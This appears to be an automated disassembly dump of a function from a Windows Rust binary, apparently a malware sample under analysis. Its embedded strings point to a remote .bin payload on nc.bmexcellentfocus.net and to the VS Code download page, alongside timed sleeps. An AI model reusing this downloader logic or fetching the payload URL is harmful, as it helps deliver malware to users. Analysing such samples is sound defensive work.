Function at 0x14001bb00
Capabilities:
Check os version
Get number of processors

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x4d8
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x440], xmm6
mov qword [rbp + 0x438], 0xfffffffffffffffe
mov r12, r8
mov rsi, rdx
mov rdi, rcx
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
test eax, eax
je 0x14001bb5e
cmp eax, 1
je 0x14001bb8b
jmp 0x14001cf5e
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x14001bac0]
call fcn.1400e71a0
mov byte [rbx + 0x120], 1
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x11e], 2
jne 0x14001e1f7
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov r15, qword [rcx + rax*8]
mov byte [r15 + 0x11e], 0
lea rcx, [rsi + 0x1d0]
lea rax, [rsi + 0x170]
test rdi, rdi
cmove rcx, rax
call fcn.1401032f0
mov ebx, eax
mov r14d, edx
cmp dword [r15 + 0x110], 0
je 0x14001bc10
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov edx, dword [rax + 0x118]
mov ecx, dword [rax + 0x114]
jmp 0x14001bc27
call fcn.1400f74a0
mov rcx, rax
shr rcx, 0x20
cmp eax, 2
mov edx, 1
cmovae edx, eax
mov eax, dword [0x140198314]
mov r8, qword gs:[0x58]
mov rax, qword [r8 + rax*8]
mov dword [rax + 0x110], 1
mov dword [rax + 0x114], ebx
mov dword [rax + 0x118], r14d
cmp qword [rax + 0xd0], 0
jne 0x14001e238
mov eax, dword [0x140198314]
mov r8, qword gs:[0x58]
mov rax, qword [r8 + rax*8]
mov qword [rax + 0xd0], 0xffffffffffffffff
mov eax, 1
mov r8d, 1
lock xadd qword [rsi], r8
test rdi, rdi
je 0x14001bc9c
test r8, r8
jns 0x14001bca7
jmp 0x14001e19a
test r8, r8
js 0x14001e19a
xor eax, eax
mov r8d, dword [0x140198314]
mov r9, qword gs:[0x58]
mov r10, qword [r9 + r8*8]
mov r8, qword [r10 + 0xd8]
mov r9, qword [r10 + 0xe0]
mov qword [r10 + 0xd8], rax
mov qword [r10 + 0xe0], rsi
inc qword [r10 + 0xd0]
mov rax, qword [r10 + 0xe8]
cmp rax, 0xffffffffffffffff
je 0x14001e244
inc rax
mov r10d, dword [0x140198314]
mov r11, qword gs:[0x58]
mov r10, qword [r11 + r10*8]
mov qword [r10 + 0xe8], rax
mov qword [rbp + 0x380], r8
mov qword [rbp + 0x388], r9
mov qword [rbp + 0x390], rax
mov dword [rbp + 0x398], ecx
mov dword [rbp + 0x39c], edx
mov rax, qword [r12]
cmp qword [rax], 0
jne 0x14001e285
mov qword [rbp + 0x3c0], rax
mov rdi, qword [r12 + 8]
mov qword [rbp + 0x170], r12
mov r12, qword [r12 + 0x10]
lea rsi, [r12 + 8]
lea rax, [r12 + 0x28]
mov qword [rbp + 0x3b8], rax
lea rax, [r12 + 0x118]
mov qword [rbp + 0x3d0], rax
xorps xmm6, xmm6
lea r15, [rbp + 0x50]
mov qword [rbp + 0x3c8], rdi
nop word cs:[rax + rax]
xor eax, eax
xchg qword [rdi + 0x20], rax
test rax, rax
jne 0x14001ce04
mov qword [rbp + 0x178], 2
mov rax, qword [rdi]
shr rax, 2
lea rdx, [rbp + 0x408]
movups xmmword [rdx - 0x18], xmm6
mov qword [rdx - 8], 0
mov qword [rbp + 0x3e0], rdi
mov qword [rbp + 0x3e8], rax
movups xmmword [rdx], xmm6
mov byte [rdx + 0x10], 0
mov eax, dword [rbp + 0x1e1]
mov ecx, dword [rbp + 0x1e4]
mov dword [rdx + 0x14], ecx
mov dword [rdx + 0x11], eax
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xc0]
cmp rax, 1
jne 0x14001cdf1
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xc8]
lock inc qword [rax]
jle 0x14001e19a
add rax, 0x10
lea rcx, fcn.140103f20
mov qword [rbp + 0x3a0], rcx
mov qword [rbp + 0x3a8], rax
lea rax, [rbp + 0x3a0]
mov qword [rbp + 0x1c0], rax
mov qword [rbp + 0x1c8], rax
mov qword [rbp + 0x1d0], 0
jmp 0x14001be8d
cmp rax, 2
jne 0x14001e12e
xor eax, eax
xchg qword [r14 + 0x10], rax
mov al, 1
lock cmpxchg byte [rbx], r13b
jne 0x14001c293
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx r13d, byte [rax + 0x120]
cmp r13d, 2
je 0x14001bfd0
cmp r13d, 1
mov r14, qword [sym.imp.kernel32.dll_HeapFree]
lea rbx, [rbp + 0x1e8]
je 0x14001bf99
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0x58], 0
jne 0x14001e3d4
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rcx, qword [rcx + rax*8]
mov qword [rcx + 0x58], 0xffffffffffffffff
mov rax, qword [case.0x1400bba27.484]
mov rdi, qword [rcx + 0x70]
mov rax, 0xffffffffffffffff
cmp rdi, qword [rcx + 0x60]
jne 0x14001bf46
call fcn.1400e73d0
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0x58]
mov ecx, dword [0x140198314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov rdx, qword [rcx + 0x68]
mov r8, rdi
shl r8, 4
lea r9, [rcx + 0xd0]
mov qword [rdx + r8], r9
lea r9, [0x14001bac0]
mov qword [rdx + r8 + 8], r9
inc rdi
mov qword [rcx + 0x70], rdi
inc rax
mov qword [rcx + 0x58], rax
mov byte [rcx + 0x120], 1
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx r13d, byte [rax + 0x11c]
movzx ecx, byte [rax + 0x11d]
mov byte [rbp + 0x3d8], cl
mov word [rax + 0x11c], 0x8001
jmp 0x14001bfde
mov r14, qword [sym.imp.kernel32.dll_HeapFree]
lea rbx, [rbp + 0x1e8]
mov rdx, qword [rbp + 0x1c0]
lea rcx, [rbp + 0x3e0]
call fcn.1400f6310
test al, al
je 0x14001c070
movzx eax, byte [r12 + 0x148]
test eax, eax
je 0x14001c090
cmp eax, 3
jne 0x14001e0e7
movzx eax, byte [r12 + 0x140]
test eax, eax
je 0x14001c930
cmp eax, 3
jne 0x14001e18e
nop dword [rax]
cmp dword [rsi], 2
jne 0x14001cb31
mov rax, qword [r12 + 0x10]
mov qword [r12 + 0x10], 0
test rax, rax
je 0x14001e0b7
mov qword [rbp + 0x50], 3
mov qword [rbp + 0x58], rax
jmp 0x14001c2c0
xor edi, edi
cmp r13b, 2
jne 0x14001cb6a
jmp 0x14001cbe2
lea rdi, [0x14012a1a8]
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
movups xmmword [rbp + 0x200], xmm6
mov rcx, rbx
call fcn.1400f0cb0
mov qword [rbp + 0x1e8], 0
mov rcx, rbx
call qword [sym.imp.kernel32.dll_GetSystemTimePreciseAsFileTime]
mov r8, qword [rbp + 0x1e8]
mov rax, r8
movabs rdx, 0x19db1ded53e8000
sub rax, rdx
neg rax
movabs rcx, 0xfe624e212ac18000
add rcx, r8
cmp r8, rdx
cmovl rcx, rax
mov rax, rcx
movabs rdx, 0xd6bf94d5e57a42bd
mul rdx
shr rdx, 0x17
imul eax, edx, 0x989680
sub ecx, eax
movabs rax, 0x19db1ded53e7fff
cmp r8, rax
jle 0x14001e0f3
imul rax, rdx, 0x3e8
mov ecx, ecx
mov edx, 0xd1b71759
imul rcx, rdx
shr rcx, 0x2d
add rcx, rax
mov qword [rbp + 0x50], rcx
mov qword [rbp + 0x58], 0
mov qword [rbp - 0x48], r15
lea rax, [0x14000c020]
mov qword [rbp - 0x40], rax
lea rax, str.Time:
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f0], 2
mov qword [rbp + 0x208], 0
lea rax, [rbp - 0x48]
mov qword [rbp + 0x1f8], rax
mov qword [rbp + 0x200], 1
mov rcx, rbx
call fcn.1400f0cb0
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
movups xmmword [rbp + 0x200], xmm6
mov rcx, rbx
call fcn.1400f0cb0
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
movups xmmword [rbp + 0x200], xmm6
mov rcx, rbx
call fcn.1400f0cb0
xor ecx, ecx
xor edx, edx
mov r8d, 2
mov r9d, 0x1f0003
call qword [sym.imp.kernel32.dll_CreateWaitableTimerExW]
test rax, rax
je 0x14001c283
mov rbx, rax
mov qword [rbp + 0x1e8], 0xfffffffffd050f80
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rax
lea rdx, [rbp + 0x1e8]
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.kernel32.dll_SetWaitableTimer]
test eax, eax
je 0x14001c27a
mov rcx, rbx
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov edi, eax
mov rcx, rbx
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp edi, 0xffffffff
jne 0x14001c920
jmp 0x14001c283
mov rcx, rbx
call qword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, 0x1388
call qword [sym.imp.kernel32.dll_Sleep]
jmp 0x14001c920
mov rcx, rbx
call fcn.14011f990
jmp 0x14001be8d
mov rcx, rbx
call fcn.14011f640
xor eax, eax
mov ecx, 1
lock cmpxchg qword [r14 + 0x10], rcx
je 0x14001cc68
jmp 0x14001be70
mov r8d, 0x98
lea rcx, [rbp - 0x48]
mov rdx, r15
call fcn.140119a10
cmp dword [rsi], 2
jne 0x14001c370
mov rbx, qword [r12 + 0x10]
test rbx, rbx
je 0x14001c6e6
mov r14, qword [rbx + 0x58]
test r14, r14
je 0x14001c327
mov rdi, qword [rbx + 0x60]
mov rax, qword [rdi]
test rax, rax
je 0x14001c303
mov rcx, r14
call rax
cmp qword [rdi + 8], 0
je 0x14001c327
cmp qword [rdi + 0x10], 0x11
jb 0x14001c315
mov r14, qword [r14 - 8]
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbx]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14001c6d0
test rax, rax
mov r14, qword [sym.imp.kernel32.dll_HeapFree]
je 0x14001c6d7
mov r8, qword [rbx + 8]
mov rcx, qword [0x140198260]
xor edx, edx
call r14
jmp 0x14001c6d7
cmp byte [r12 + 0x100], 0xa
jb 0x14001c39a
cmp qword [r12 + 0x110], 0
je 0x14001c39a
mov r8, qword [r12 + 0x108]
mov rcx, qword [0x140198260]
xor edx, edx
call r14
cmp qword [r12 + 0x90], 0
je 0x14001c3b9
mov r8, qword [r12 + 0x98]
mov rcx, qword [0x140198260]
xor edx, edx
call r14
cmp qword [r12 + 0x80], 0
je 0x14001c3d5
mov r8, qword [r12 + 0x78]
mov rcx, qword [0x140198260]
xor edx, edx
call r14
mov rdi, qword [r12 + 0x58]
test rdi, rdi
je 0x14001c430
mov rbx, qword [r12 + 0x50]
add rbx, 0x30
jmp 0x14001c40b
mov rax, qword [rbx - 0x18]
mov rdx, qword [rbx - 0x10]
mov r8, qword [rbx - 8]
mov rcx, rbx
call qword [rax + 0x10]
add rbx, 0x68
dec rdi
je 0x14001c430
mov rax, qword [rbx + 0x10]
test rax, rax
je 0x14001c3f0
lea rcx, [rbx + 0x28]
mov rdx, qword [rbx + 0x18]
mov r8, qword [rbx + 0x20]
call qword [rax + 0x10]
jmp 0x14001c3f0
cmp qword [r12 + 0x48], 0
je 0x14001c449
mov r8, qword [r12 + 0x50]
mov rcx, qword [0x140198260]
xor edx, edx
call r14
mov rdi, qword [r12 + 0x70]
test rdi, rdi
je 0x14001c47b
mov rbx, qword [r12 + 0x68]
add rbx, 0x38
nop dword [rax]
mov rax, qword [rbx - 0x18]
mov rdx, qword [rbx - 0x10]
mov r8, qword [rbx - 8]
mov rcx, rbx
call qword [rax + 0x10]
add rbx, 0x48
dec rdi
jne 0x14001c460
cmp qword [r12 + 0x60], 0
je 0x14001c494
mov r8, qword [r12 + 0x68]
mov rcx, qword [0x140198260]
xor edx, edx
call r14
cmp qword [rsi], 0
je 0x14001c4b8
mov rax, qword [r12 + 0x10]
test rax, rax
je 0x14001c4b8
mov rdx, qword [r12 + 0x18]
mov r8, qword [r12 + 0x20]
mov rcx, qword [rbp + 0x3b8]
call qword [rax + 0x10]
mov rdi, qword [r12 + 0xf8]
test rdi, rdi
je 0x14001c510
mov rbx, qword [r12 + 0xf0]
add rbx, 8
jmp 0x14001c4e9
add rbx, 0x58
dec rdi
je 0x14001c510
cmp qword [rbx - 8], 0
je 0x14001c4e0
mov r8, qword [rbx]
mov rcx, qword [0x140198260]
xor edx, edx
call r14
jmp 0x14001c4e0
cmp qword [r12 + 0xe8], 0
je 0x14001c52f
mov r8, qword [r12 + 0xf0]
mov rcx, qword [0x140198260]
xor edx, edx
call r14
mov rax, qword [rbp + 0x3d0]
mov rax, qword [rax]
lock dec qword [rax]
jne 0x14001c54b
mov rcx, qword [rbp + 0x3d0]
call fcn.140010f30
mov rbx, qword [r12 + 0x120]
mov rdi, qword [r12 + 0x128]
mov rax, qword [rdi]
test rax, rax
je 0x14001c568
mov rcx, rbx
call rax
cmp qword [rdi + 8], 0
je 0x14001c589
cmp qword [rdi + 0x10], 0x11
jb 0x14001c57a
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, rbx
call r14
mov rbx, qword [r12 + 0x138]
test rbx, rbx
je 0x14001c6e6
cmp qword [rbx], 0
mov r15, qword [rbx + 8]
mov eax, 0x118
mov ecx, 0xb8
cmove rax, rcx
cmp dword [r15 + rax + 0xa8], 0x3b9aca00
je 0x14001e0cf
lea r14, [rbx + 8]
add r15, rax
lea rdi, [rbx + 0x20]
xor eax, eax
mov cl, 1
lock cmpxchg byte [r15 + 0x58], cl
jne 0x14001c679
mov rax, qword [rbx + 0x40]
cmp rax, 0xffffffffffffffff
je 0x14001c5f3
lea rcx, [r15 + 0x60]
mov rdx, rdi
call fcn.1400f7b30
mov rax, qword [rbx + 0x40]
cmp rax, 0xffffffffffffffff
je 0x14001c650
mov byte [rbx + 0x60], 0
mov qword [rbx + 0x40], 0xffffffffffffffff
mov rax, qword [rbx + 0x58]
nop dword [rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rbx + 0x58], rcx
jne 0x14001c610
test rax, rax
jne 0x14001c650
mov rax, qword [rbx + 0x48]
mov rcx, qword [rbx + 0x50]
mov qword [rbx + 0x48], 0
lock and qword [rbx + 0x58], 0xfffffffffffffffd
test rax, rax
je 0x14001c650
call qword [rax + 0x18]
nop word cs:[rax + rax]
mov al, 1
xor ecx, ecx
lock cmpxchg byte [r15 + 0x58], cl
jne 0x14001c695
cmp qword [rbx], 0
je 0x14001c6a7
mov rax, qword [r14]
lock dec qword [rax]
lea r15, [rbp + 0x50]
jne 0x14001c6c0
mov rcx, r14
call fcn.140010200
jmp 0x14001c6c0
lea rcx, [r15 + 0x58]
call fcn.14011f640
mov rax, qword [rbx + 0x40]
cmp rax, 0xffffffffffffffff
jne 0x14001c5e7
jmp 0x14001c5f3
add r15, 0x58
mov rcx, r15
call fcn.14011f990
cmp qword [rbx], 0
jne 0x14001c662
mov rax, qword [r14]
lock dec qword [rax]
lea r15, [rbp + 0x50]
jne 0x14001c6c0
mov rcx, r14
call fcn.14000fc00
nop dword [rax]
mov rax, qword [rbx + 0x48]
test rax, rax
je 0x14001c6d0
mov rcx, qword [rbx + 0x50]
call qword [rax + 0x18]
mov r14, qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, rbx
call r14
cmp dword [rbp - 0x48], 3
jne 0x14001c7a0
lea rax, [0x14012a1a8]
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], 1
mov qword [rbp + 0x60], 8
movups xmmword [rbp + 0x68], xmm6
mov rcx, r15
call fcn.1400f0cb0
xor ecx, ecx
xor edx, edx
mov r8d, 2
mov r9d, 0x1f0003
call qword [sym.imp.kernel32.dll_CreateWaitableTimerExW]
test rax, rax
je 0x14001ca8d
mov rbx, rax
mov qword [rbp + 0x50], 0xfffffffffe363c80
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rax
mov rdx, r15
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.kernel32.dll_SetWaitableTimer]
test eax, eax
je 0x14001ca84
mov rcx, rbx
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov edi, eax
mov rcx, rbx
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp edi, 0xffffffff
jne 0x14001ca98
jmp 0x14001ca8d
lea rax, [0x14012a1a8]
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], 1
mov qword [rbp + 0x60], 8
movups xmmword [rbp + 0x68], xmm6
mov rcx, r15
call fcn.1400f0cb0
lea rcx, [rbp - 0x48]
call fcn.140019ca0
mov rax, qword [r12]
lock dec qword [rax]
lea rdi, [rbp + 0x1e8]
jne 0x14001c7e9
mov rcx, r12
call fcn.140010f30
mov byte [r12 + 0x140], 1
lea rbx, str.REQWEST_URLhttps:__nc.bmexcellentfocus.net_uf_evrews_20240731041512445.binC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_core_0.3.30_src_task__internal_atomic_waker.rs
mov rcx, rbx
lea rdx, [0x14012a243]
call fcn.14001ee50
mov r8d, 0xb
mov rcx, rdi
mov rdx, rbx
call fcn.1400ebb10
mov rbx, qword [rbp + 0x1e8]
movabs rax, 0x8000000000000000
cmp rbx, rax
je 0x14001c920
mov rdi, qword [rbp + 0x1f0]
mov r8, qword [rbp + 0x1f8]
cmp byte [rbp + 0x200], 0
je 0x14001cc93
lea rcx, [rbp - 0x48]
mov rdx, rdi
call fcn.1400036e0
movabs rax, 0x8000000000000000
cmp qword [rbp - 0x48], rax
jne 0x14001c952
xor ecx, ecx
xor edx, edx
mov r8d, 2
mov r9d, 0x1f0003
call qword [sym.imp.kernel32.dll_CreateWaitableTimerExW]
test rax, rax
je 0x14001cd5c
mov r14, rax
mov qword [rbp + 0x1e8], 0xfffffffffd050f80
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rax
lea rdx, [rbp + 0x1e8]
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.kernel32.dll_SetWaitableTimer]
test eax, eax
je 0x14001cd53
mov rcx, r14
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov r15, rdi
mov edi, eax
mov rcx, r14
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp edi, 0xffffffff
mov rdi, r15
lea r15, [rbp + 0x50]
je 0x14001cd5c
test rbx, rbx
mov r14, qword [sym.imp.kernel32.dll_HeapFree]
je 0x14001c920
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, rdi
call r14
nop word cs:[rax + rax]
mov byte [r12 + 0x140], 0
lea rbx, [rbp + 0x1e8]
mov rcx, rbx
call fcn.1400d0bd0
mov rcx, rbx
call fcn.1400c6820
test rax, rax
jne 0x14001e05a
mov qword [r12], rdx
jmp 0x14001caac
mov qword [rbp + 0x3b0], rdi
mov rax, qword [rbp - 0x38]
mov qword [rbp + 0x60], rax
movups xmm0, xmmword [rbp - 0x48]
movaps xmmword [rbp + 0x50], xmm0
call fcn.140003c50
call fcn.140001850
mov r14, rax
and eax, 3
cmp eax, 1
jne 0x14001c9d0
mov r15, qword [r14 - 1]
mov rdi, qword [r14 + 7]
mov rax, qword [rdi]
test rax, rax
je 0x14001c993
mov rcx, r15
call rax
cmp qword [rdi + 8], 0
je 0x14001c9b7
cmp qword [rdi + 0x10], 0x11
jb 0x14001c9a5
mov r15, qword [r15 - 8]
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
dec r14
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
lea r15, [rbp + 0x50]
lea rcx, [rbp + 0x1e8]
call fcn.140001c20
cmp qword [rbp + 0x1e8], 0
je 0x14001c9f8
mov rcx, qword [rbp + 0x1f0]
test rcx, rcx
je 0x14001c9f8
mov rax, qword [rcx]
call qword [rax + 0x10]
mov ecx, 5
call fcn.1400e80b0
call fcn.140004d10
lea rax, [0x14012a1a8]
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
movups xmmword [rbp + 0x200], xmm6
lea rcx, [rbp + 0x1e8]
call fcn.1400f0cb0
mov rcx, r15
call fcn.140001630
mov dil, 1
test rbx, rbx
mov rax, qword [sym.imp.kernel32.dll_HeapFree]
je 0x14001cd3a
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, qword [rbp + 0x3b0]
call rax
mov al, 1
mov byte [r12 + 0x148], al
cmp r13b, 2
je 0x14001cbe2
jmp 0x14001cb6a
mov rcx, rbx
call qword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, 0xbb8
call qword [sym.imp.kernel32.dll_Sleep]
lea rcx, [rbp - 0x48]
call fcn.140019ca0
mov rdx, qword [r12]
lea rbx, [rbp + 0x1e8]
mov rcx, r15
lea r8, str.https:__code.visualstudio.com_download
call fcn.14001f160
cmp dword [rbp + 0x50], 2
jne 0x14001caf0
mov qword [rbp + 0x1e8], 2
mov rax, qword [rbp + 0x58]
mov rdi, qword [rbp + 0x160]
mov qword [rbp + 0x1f0], rax
lock dec qword [rdi]
je 0x14001cb0b
jmp 0x14001cb17
mov rdi, qword [rbp + 0x160]
mov rcx, rbx
mov rdx, rdi
mov r8, r15
call fcn.1400c8cc0
lock dec qword [rdi]
jne 0x14001cb17
lea rcx, [rbp + 0x160]
call fcn.140083e60
mov r8d, 0x138
mov rcx, rsi
mov rdx, rbx
call fcn.140119a10
cmp dword [rsi], 2
je 0x14001c039
mov rcx, r15
mov rdx, rsi
lea r8, [rbp + 0x1c0]
call fcn.1400ccc10
cmp qword [rbp + 0x50], 4
jne 0x14001c2c0
mov byte [r12 + 0x140], 3
mov al, 3
mov dil, 2
mov byte [r12 + 0x148], al
cmp r13b, 2
je 0x14001cbe2
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 2
je 0x14001cbe2
cmp eax, 1
je 0x14001cbbb
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400f6940]
call fcn.1400e71a0
mov byte [rbx + 0x120], 1
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x11c], r13b
movzx ecx, byte [rbp + 0x3d8]
mov byte [rax + 0x11d], cl
cmp dil, 2
jne 0x14001cd90
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xc0]
cmp rax, 1
mov r13d, 0
jne 0x14001cd27
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov r14, qword [rax + 0xc8]
mov eax, 2
lock cmpxchg qword [r14 + 0x10], r13
je 0x14001be8d
lea rbx, [r14 + 0x20]
xor eax, eax
mov cl, 1
lock cmpxchg byte [r14 + 0x20], cl
jne 0x14001c2a0
xor eax, eax
mov ecx, 1
lock cmpxchg qword [r14 + 0x10], rcx
jne 0x14001be70
lea rdi, [r14 + 0x18]
nop dword [rax]
mov rcx, rdi
mov rdx, rbx
mov r9d, 0x3b9aca00
call fcn.140053630
mov eax, 2
lock cmpxchg qword [r14 + 0x10], r13
jne 0x14001cc70
jmp 0x14001be80
test r8, r8
je 0x14001c84e
lea rax, [rdi + r8]
mov rdx, rdi
jmp 0x14001ccbc
add rdx, 2
cmp rcx, rax
cmovne rcx, rdx
mov rdx, rcx
cmp rcx, rax
je 0x14001c84e
lea rcx, [rdx + 1]
movzx r9d, byte [rdx]
test r9b, r9b
jns 0x14001ccb0
cmp r9b, 0xe0
jb 0x14001cca5
cmp r9b, 0xed
jne 0x14001ccfe
cmp rcx, rax
je 0x14001c84e
lea rcx, [rdx + 2]
cmp rcx, rax
je 0x14001c84e
cmp byte [rdx + 1], 0x9f
ja 0x14001cd7c
add rdx, 3
mov rcx, rdx
jmp 0x14001ccb0
add rdx, 2
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
cmp r9b, 0xf0
jb 0x14001ccb0
xor edx, edx
cmp rcx, rax
setne dl
add rcx, rdx
jmp 0x14001ccb0
test rax, rax
jne 0x14001e08c
call fcn.1401253d0
jmp 0x14001cc16
mov al, 1
mov byte [r12 + 0x148], al
cmp r13b, 2
je 0x14001cbe2
jmp 0x14001cb6a
mov rcx, r14
call qword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, 0x1388
call qword [sym.imp.kernel32.dll_Sleep]
test rbx, rbx
mov r14, qword [sym.imp.kernel32.dll_HeapFree]
jne 0x14001c902
jmp 0x14001c920
test rbx, rbx
jne 0x14001c902
jmp 0x14001c920
mov rax, qword [rbp + 0x3a0]
mov rcx, qword [rbp + 0x3a8]
call qword [rax + 0x18]
lea rcx, [rbp + 0x3e0]
call fcn.1400f67e0
mov rax, qword [rbp + 0x400]
test dil, dil
mov rdi, qword [rbp + 0x3c8]
jne 0x14001cf89
test rax, rax
je 0x14001cdd3
mov rcx, qword [rbp + 0x408]
call qword [rax + 0x18]
cmp dword [rbp + 0x178], 2
je 0x14001bd90
lea rcx, [rbp + 0x178]
call fcn.14001e4a0
jmp 0x14001bd90
test rax, rax
jne 0x14001e1cc
call fcn.1401253d0
jmp 0x14001be0f
mov rcx, qword [rbp + 0x3c0]
mov rcx, qword [rcx + 8]
lock inc qword [rcx]
jle 0x14001e19a
mov qword [rbp + 0x178], 0
mov qword [rbp + 0x180], rcx
mov qword [rbp + 0x188], 0
mov qword [rbp + 0x190], rax
xorps xmm0, xmm0
lea rax, [rbp + 0x198]
movups xmmword [rax], xmm0
mov qword [rbp + 0x1a8], 8
mov qword [rbp + 0x1b0], 0
mov qword [rbp + 0x1b8], rdi
mov qword [rbp + 0x420], rdi
mov rax, qword [rbp + 0x178]
mov rcx, qword [rbp + 0x180]
mov rdx, qword [rbp + 0x188]
mov r8, qword [rbp + 0x190]
movups xmm1, xmmword [rbp + 0x198]
movaps xmmword [rbp + 0x400], xmm1
mov qword [rbp + 0x3f0], rdx
mov qword [rbp + 0x3f8], r8
mov qword [rbp + 0x3e0], rax
mov qword [rbp + 0x3e8], rcx
mov rax, qword [rbp + 0x1a8]
mov qword [rbp + 0x410], rax
mov rax, qword [rbp + 0x1b0]
mov qword [rbp + 0x418], rax
cmp qword [rbp + 0x3e0], 0
mov rax, qword [rbp + 0x170]
jne 0x14001e301
cmp qword [rbp + 0x3f0], 0
jne 0x14001e33f
mov r14, qword [rax + 0x10]
mov qword [rbp + 0x3f0], 0xffffffffffffffff
mov rbx, qword [rbp + 0x3f8]
mov qword [rbp + 0x3f8], 0
test rbx, rbx
je 0x14001e34b
mov qword [rbp + 0x3f0], 0
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
test eax, eax
je 0x14001cfb6
cmp eax, 1
lea rsi, [0x14012a1a8]
je 0x14001cfea
mov rcx, rbx
call fcn.140086150
lea rax, [0x140162018]
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_c6727fc9b5c64cefa7263486497ee95e529bd0f8library_std_src_threadlocal.rs
lea r9, [0x140161c98]
lea r8, [rbp + 0x430]
mov edx, 0x46
call fcn.14011acb0
test rax, rax
je 0x14001cf98
mov rcx, qword [rbp + 0x408]
call qword [rax + 0x18]
cmp dword [rbp + 0x178], 2
je 0x14001dfdc
lea rcx, [rbp + 0x178]
call fcn.14001e4a0
jmp 0x14001dfdc
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x14001bac0]
call fcn.1400e71a0
mov byte [rsi + 0x120], 1
lea rsi, [0x14012a1a8]
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0x108]
mov qword [rbp + 0x3c8], rcx
lea rcx, [rbp + 0x3e0]
mov qword [rax + 0x108], rcx
mov rax, qword [rbp + 0x3e8]
lea rcx, [rax + 0x10]
mov byte [rax + 0xb0], 1
lea rdx, [0x140162438]
mov qword [rbp + 0x3a0], rdx
mov qword [rbp + 0x3a8], rcx
lea rcx, [rbp + 0x3a0]
